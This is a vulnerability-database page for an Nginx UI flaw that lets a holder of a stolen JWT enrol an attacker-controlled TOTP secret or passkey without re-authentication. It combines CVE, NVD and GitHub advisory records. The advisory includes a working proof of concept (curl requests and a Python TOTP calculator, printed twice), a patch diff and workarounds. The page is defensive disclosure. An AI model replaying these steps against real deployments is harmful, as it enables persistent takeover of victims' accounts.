Vulnerability-Lookup

CVE-2026-84313 (GCVE-0-2026-84313)

Vulnerability from cvelistv5 – Published: 2026-10-12 20:51 – Updated: 2026-10-15 13:48

Title

Nginx UI: TOTP / passkey enrolment requires no re-authentication, enabling persistent account takeover

Summary

Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, POST /api/otp_enroll and POST /api/finish_passkey_register are registered outside RequireSecureSession and accept a normal authenticated session without verifying the current password. An attacker with a stolen JWT can bind an attacker-controlled TOTP secret when the victim has not already enabled TOTP, or can register an attacker-controlled passkey because that path has no equivalent existing-enrollment guard. These changes create persistent account access that can survive a password change and interfere with the legitimate user's authentication. This issue is fixed in version 2.4.1.

Severity

8.8 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-10-15 13:48 UTC

CWE

CWE-287 - Improper Authentication
CWE-306 - Missing Authentication for Critical Function

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7730 records in the last 180 days details

References

3 references

URL	Tags
https://github.com/0xJacky/nginx-ui/security/advi…	x_refsource_CONFIRM
https://github.com/0xJacky/nginx-ui/commit/23d193…	x_refsource_MISC
https://github.com/0xJacky/nginx-ui/releases/tag/v2.4.1	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
0xJacky	nginx-ui	Affected: < 2.4.1	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-84313

Vulnerability from fkie_nvd - Published: 2026-10-12 21:17 - Updated: 2026-10-15 14:17

Severity

8.8 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/0xJacky/nginx-ui/commit/23d1934099b05b2a01589b48129dc3d3159d91c2
	security-advisories@github.com	https://github.com/0xJacky/nginx-ui/releases/tag/v2.4.1
	security-advisories@github.com	https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-gfrc-g87h-7h5w
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-gfrc-g87h-7h5w

Impacted products

	Vendor	Product	Version

JSON

To clipboard

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          "product": "nginx-ui",
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    }
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GHSA-GFRC-G87H-7H5W

Vulnerability from github – Published: 2026-10-15 20:11 – Updated: 2026-10-15 20:11

Summary

Nginx UI: TOTP / passkey enrolment requires no re-authentication, enabling persistent account takeover

Details

Summary

Endpoints that bind a TOTP secret (POST /api/otp_enroll) or register a WebAuthn passkey (POST /api/finish_passkey_register) for the current user require only a valid JWT. There is no current-password re-prompt and the routes are explicitly registered outside the RequireSecureSession() group. With only a stolen JWT, an attacker can attach their own second factor to the victim's account, surviving any subsequent password rotation and locking the legitimate user out.

Details

api/user/router.go:34-39 — note the routes registered before the secure-session group:

r.GET("/otp_secret", GenerateTOTP)
r.POST("/otp_enroll", EnrollTOTP)                     // ← outside RequireSecureSession
r.GET("/begin_passkey_register", BeginPasskeyRegistration)
r.POST("/finish_passkey_register", FinishPasskeyRegistration)  // ← outside RequireSecureSession

o := r.Group("", middleware.RequireSecureSession())
{
    o.GET("/otp_reset", ResetOTP)                     // reset *is* protected — inconsistent
    ...
}

EnrollTOTP (api/user/otp.go:45-102) only refuses if cUser.EnabledOTP() is already true; for any victim who has never enabled TOTP it accepts an attacker-supplied Secret and Passcode pair (the validator only checks that the passcode is a valid TOTP for the supplied secret — i.e., the attacker proves they know the secret they are submitting):

if cUser.EnabledOTP() { ... abort ... }
var twoFA struct {
    Secret   string `json:"secret"   binding:"required"`
    Passcode string `json:"passcode" binding:"required"`
}
if !cosy.BindAndValid(c, &twoFA) { return }
if ok := totp.Validate(twoFA.Passcode, twoFA.Secret); !ok { ... abort ... }
ciphertext, _ := crypto.AesEncrypt([]byte(twoFA.Secret))
u.Where(u.ID.Eq(cUser.ID)).Update(u.OTPSecret, ciphertext)

FinishPasskeyRegistration (api/user/passkey.go) is structurally identical and additionally has no "already enrolled" guard — an attacker can register multiple passkeys to the victim.

Proof of Concept

JWT="<victim_jwt>"

# Step 1 — request a fresh TOTP secret server-side (anyone with JWT can call):
$ curl -s -H "Authorization: $JWT" http://127.0.0.1:18080/api/otp_secret
{"secret":"5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN",
 "url":"otpauth://totp/Nginx%20UI:admin?...&secret=5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN"}

# Step 2 — compute current 30-s TOTP code (attacker-side):
$ python3 -c "import base64,hmac,hashlib,struct,time
key=base64.b32decode('5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN')
ctr=int(time.time())//30
h=hmac.new(key, struct.pack('>Q',ctr), hashlib.sha1).digest()
o=h[-1]&0xF; v=(struct.unpack('>I',h[o:o+4])[0]&0x7fffffff)%1000000
print(f'{v:06d}')"
954084

# Step 3 — bind that secret to the victim's account:
$ curl -i -X POST -H "Authorization: $JWT" -H "Content-Type: application/json" \
       -d '{"secret":"5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN","passcode":"954084"}' \
       http://127.0.0.1:18080/api/otp_enroll

HTTP/1.1 200 OK
{"message":"ok","codes":[{"code":"c77d5-50543"},{"code":"f9284-688c6"},...],
 "last_viewed":1778338236}

# Step 4 — confirm 2FA is now enabled on the victim's account:
$ curl -s -H "Authorization: $JWT" http://127.0.0.1:18080/api/2fa_status
{"enabled":true,"otp_status":true,"passkey_status":false,
 "recovery_codes_generated":true,"recovery_codes_viewed":true}

Now whenever the legitimate user (or anyone) logs in to that account, the second factor must be supplied from the attacker's authenticator.

The passkey variant follows the same pattern: GET /api/begin_passkey_register then POST /api/finish_passkey_register with the attacker's WebAuthn authenticator. The route is also outside RequireSecureSession.

Impact

Persistent account takeover surviving the victim's password reset.
Combines trivially with any of: stolen JWT, the RequireSecureSession bypass, the missing-role-model privilege escalation, and the weak recovery-code generation.

Patches

api/user/router.go — move enrolment routes inside the secure-session group:

-    r.POST("/otp_enroll", EnrollTOTP)
-    r.GET("/begin_passkey_register", BeginPasskeyRegistration)
-    r.POST("/finish_passkey_register", FinishPasskeyRegistration)
-
     o := r.Group("", middleware.RequireSecureSession())
     {
+        o.POST("/otp_enroll", EnrollTOTP)
+        o.GET("/begin_passkey_register", BeginPasskeyRegistration)
+        o.POST("/finish_passkey_register", FinishPasskeyRegistration)
         o.GET("/otp_reset", ResetOTP)
         ...
     }

This patch alone is not sufficient — the RequireSecureSession middleware is a no-op for non-OTP users (separate advisory). Both must be patched together. Additionally, require the user's current password in the request body for these mutations (mirroring UpdateCurrentUserPassword at api/user/current_user.go).

Workarounds

None reliable. Operators should monitor the users table for unexpected OTPSecret values and the passkeys table for unexpected rows.

Credits

Vishal Shukla (@shukla304) and Sechub.dev AI Agent.

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "Nginx-UI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.9.10-0.20260703131214-23d1934099b0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-84313"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-15T20:11:32Z",
    "nvd_published_at": "2026-10-12T21:17:21Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nEndpoints that bind a TOTP secret (`POST /api/otp_enroll`) or register a WebAuthn passkey (`POST /api/finish_passkey_register`) for the *current* user require only a valid JWT. There is no current-password re-prompt and the routes are explicitly registered **outside** the `RequireSecureSession()` group. With only a stolen JWT, an attacker can attach their own second factor to the victim\u0027s account, surviving any subsequent password rotation and locking the legitimate user out.\n\n## Details\n\n`api/user/router.go:34-39` \u2014 note the routes registered *before* the secure-session group:\n\n```go\nr.GET(\"/otp_secret\", GenerateTOTP)\nr.POST(\"/otp_enroll\", EnrollTOTP)                     // \u2190 outside RequireSecureSession\nr.GET(\"/begin_passkey_register\", BeginPasskeyRegistration)\nr.POST(\"/finish_passkey_register\", FinishPasskeyRegistration)  // \u2190 outside RequireSecureSession\n\no := r.Group(\"\", middleware.RequireSecureSession())\n{\n    o.GET(\"/otp_reset\", ResetOTP)                     // reset *is* protected \u2014 inconsistent\n    ...\n}\n```\n\n`EnrollTOTP` (`api/user/otp.go:45-102`) only refuses if `cUser.EnabledOTP()` is already `true`; for any victim who has never enabled TOTP it accepts an attacker-supplied `Secret` and `Passcode` pair (the validator only checks that the passcode is a valid TOTP for the supplied secret \u2014 i.e., the attacker proves they know the secret they are submitting):\n\n```go\nif cUser.EnabledOTP() { ... abort ... }\nvar twoFA struct {\n    Secret   string `json:\"secret\"   binding:\"required\"`\n    Passcode string `json:\"passcode\" binding:\"required\"`\n}\nif !cosy.BindAndValid(c, \u0026twoFA) { return }\nif ok := totp.Validate(twoFA.Passcode, twoFA.Secret); !ok { ... abort ... }\nciphertext, _ := crypto.AesEncrypt([]byte(twoFA.Secret))\nu.Where(u.ID.Eq(cUser.ID)).Update(u.OTPSecret, ciphertext)\n```\n\n`FinishPasskeyRegistration` (`api/user/passkey.go`) is structurally identical and additionally has *no* \"already enrolled\" guard \u2014 an attacker can register multiple passkeys to the victim.\n\n## Proof of Concept\n\n```bash\nJWT=\"\u003cvictim_jwt\u003e\"\n\n# Step 1 \u2014 request a fresh TOTP secret server-side (anyone with JWT can call):\n$ curl -s -H \"Authorization: $JWT\" http://127.0.0.1:18080/api/otp_secret\n{\"secret\":\"5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN\",\n \"url\":\"otpauth://totp/Nginx%20UI:admin?...\u0026secret=5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN\"}\n\n# Step 2 \u2014 compute current 30-s TOTP code (attacker-side):\n$ python3 -c \"import base64,hmac,hashlib,struct,time\nkey=base64.b32decode(\u00275BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN\u0027)\nctr=int(time.time())//30\nh=hmac.new(key, struct.pack(\u0027\u003eQ\u0027,ctr), hashlib.sha1).digest()\no=h[-1]\u00260xF; v=(struct.unpack(\u0027\u003eI\u0027,h[o:o+4])[0]\u00260x7fffffff)%1000000\nprint(f\u0027{v:06d}\u0027)\"\n954084\n\n# Step 3 \u2014 bind that secret to the victim\u0027s account:\n$ curl -i -X POST -H \"Authorization: $JWT\" -H \"Content-Type: application/json\" \\\n       -d \u0027{\"secret\":\"5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN\",\"passcode\":\"954084\"}\u0027 \\\n       http://127.0.0.1:18080/api/otp_enroll\n\nHTTP/1.1 200 OK\n{\"message\":\"ok\",\"codes\":[{\"code\":\"c77d5-50543\"},{\"code\":\"f9284-688c6\"},...],\n \"last_viewed\":1778338236}\n\n# Step 4 \u2014 confirm 2FA is now enabled on the victim\u0027s account:\n$ curl -s -H \"Authorization: $JWT\" http://127.0.0.1:18080/api/2fa_status\n{\"enabled\":true,\"otp_status\":true,\"passkey_status\":false,\n \"recovery_codes_generated\":true,\"recovery_codes_viewed\":true}\n```\n\nNow whenever the legitimate user (or anyone) logs in to that account, the second factor must be supplied from the *attacker\u0027s* authenticator.\n\nThe passkey variant follows the same pattern: `GET /api/begin_passkey_register` then `POST /api/finish_passkey_register` with the attacker\u0027s WebAuthn authenticator. The route is also outside `RequireSecureSession`.\n\n## Impact\n\n* Persistent account takeover surviving the victim\u0027s password reset.\n* Combines trivially with any of: stolen JWT, the `RequireSecureSession` bypass, the missing-role-model privilege escalation, and the weak recovery-code generation.\n\n## Patches\n\n`api/user/router.go` \u2014 move enrolment routes inside the secure-session group:\n\n```diff\n-    r.POST(\"/otp_enroll\", EnrollTOTP)\n-    r.GET(\"/begin_passkey_register\", BeginPasskeyRegistration)\n-    r.POST(\"/finish_passkey_register\", FinishPasskeyRegistration)\n-\n     o := r.Group(\"\", middleware.RequireSecureSession())\n     {\n+        o.POST(\"/otp_enroll\", EnrollTOTP)\n+        o.GET(\"/begin_passkey_register\", BeginPasskeyRegistration)\n+        o.POST(\"/finish_passkey_register\", FinishPasskeyRegistration)\n         o.GET(\"/otp_reset\", ResetOTP)\n         ...\n     }\n```\n\nThis patch alone is **not sufficient** \u2014 the `RequireSecureSession` middleware is a no-op for non-OTP users (separate advisory). Both must be patched together. Additionally, require the user\u0027s current password in the request body for these mutations (mirroring `UpdateCurrentUserPassword` at `api/user/current_user.go`).\n\n## Workarounds\n\nNone reliable. Operators should monitor the `users` table for unexpected `OTPSecret` values and the `passkeys` table for unexpected rows.\n\n## Credits\n\nVishal Shukla ([@shukla304](https://github.com/shukla304)) and Sechub.dev AI Agent.",
  "id": "GHSA-gfrc-g87h-7h5w",
  "modified": "2026-10-15T20:11:32Z",
  "published": "2026-10-15T20:11:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-gfrc-g87h-7h5w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-84313"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/commit/23d1934099b05b2a01589b48129dc3d3159d91c2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/0xJacky/nginx-ui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/releases/tag/v2.4.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Nginx UI: TOTP / passkey enrolment requires no re-authentication, enabling persistent account takeover"
}

Sightings

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Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

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CVE-2026-84313 (GCVE-0-2026-84313)

FKIE_CVE-2026-84313

GHSA-GFRC-G87H-7H5W

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